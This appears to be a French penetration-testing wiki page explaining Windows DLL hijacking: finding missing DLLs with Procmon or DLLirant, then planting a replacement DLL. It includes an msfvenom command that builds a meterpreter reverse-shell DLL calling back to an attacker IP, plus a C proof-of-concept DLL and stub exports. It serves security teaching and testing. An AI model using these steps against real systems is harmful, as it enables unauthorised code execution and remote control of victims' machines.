🧩DLL Hijacking

Le détournement de DLL est une méthode d'injection de code malveillant dans une application en exploitant la façon dont certaines applications Windows recherchent et chargent les bibliothèques de liens dynamiques (DLL).

En remplaçant un fichier DLL requis par une version infectée et en le plaçant dans les paramètres de recherche d'une application, le fichier infecté contenant le code malveillant est appelé lors du chargement de l'application et exécute donc le code malveillant.

Identification

Il est possible de détecter les recherches de DLL perdues avec le Process Monitor (Procmon) de la suite sysinternals.

ressource: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Pour cela, nous devons utiliser le filtre nommé "Result" et rechercher "NAME NOT FOUND" comme ceci:

Il est également possible d'utiliser des outils tels que DLLirant que vous pourrez retrouver en bas de cette page et qui on pour but d'automatiser la recherche de possibilité de DLL hijacking.

Exploitation

La première étape pour détourner une DLL une fois le filtre établie est de trouver un chemin dans la liste des DLL non trouvées pour lequel il est possible de déposer une DLL du même nom.

La dernière étape consiste ensuite à créer une DLL au nom de celle manquante.

On peut utiliser MSFVenom pour cela comme ceci:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker IP> LPORT=<Listener port> -f dll -o exemple.dll

On peut aussi utiliser le code PoC suivant pour lancer un pop-up au demarrage du binaire.

#include <windows.h>

int Main() {
    MessageBoxW(0, L"It works !", L"Win!", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Main, NULL, NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Si l'exécution de la DLL renvoie des erreurs, il est possible que ce soit car des fonctions sont nécessaires à son fonctionnement.

Dans ce cas on peut utiliser d'utiliser le binaire dumpbin.exe de Visual Studio pour rechercher les fonctions manquantes puis de les rajouter au code de la DLL.

Exemple:

> dumpbin /imports exemple.exe

Microsoft (R) COFF/PE Dumper Version 14.29.30136.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file exemple.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    msvcrt.dll
             14000D448 Import Address Table
             1400113D8 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                         4A0 putchar
                         4B9 sprintf_s
                         461 gmtime
                         432 exit
                         363 _vsnprintf
                         304 _strnicmp
                         439 fflush
                         486 malloc
                         ...
    exemple.dll
             14000D238 Import Address Table
             1400111C8 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                          45 FunctionA
                          75 FunctionB
    ...

Ici on vois en bas que la DLL exemple.dll utilise les fonctions FunctionA et B pour fonctionner, fonctions que l'on peu ajouter à notre DLL en y ajoutant les lignes:

__declspec(dllexport) void FuntionA() { Main(); }
__declspec(dllexport) void FunctionB() { Main(); }

Outil

DLLirant

DLLirant est un outil permettant d'automatiser les recherches de DLL Hijacking sur un binaire spécifié.

ressource: https://github.com/redteamsocietegenerale/DLLirant

Dernière mise à jour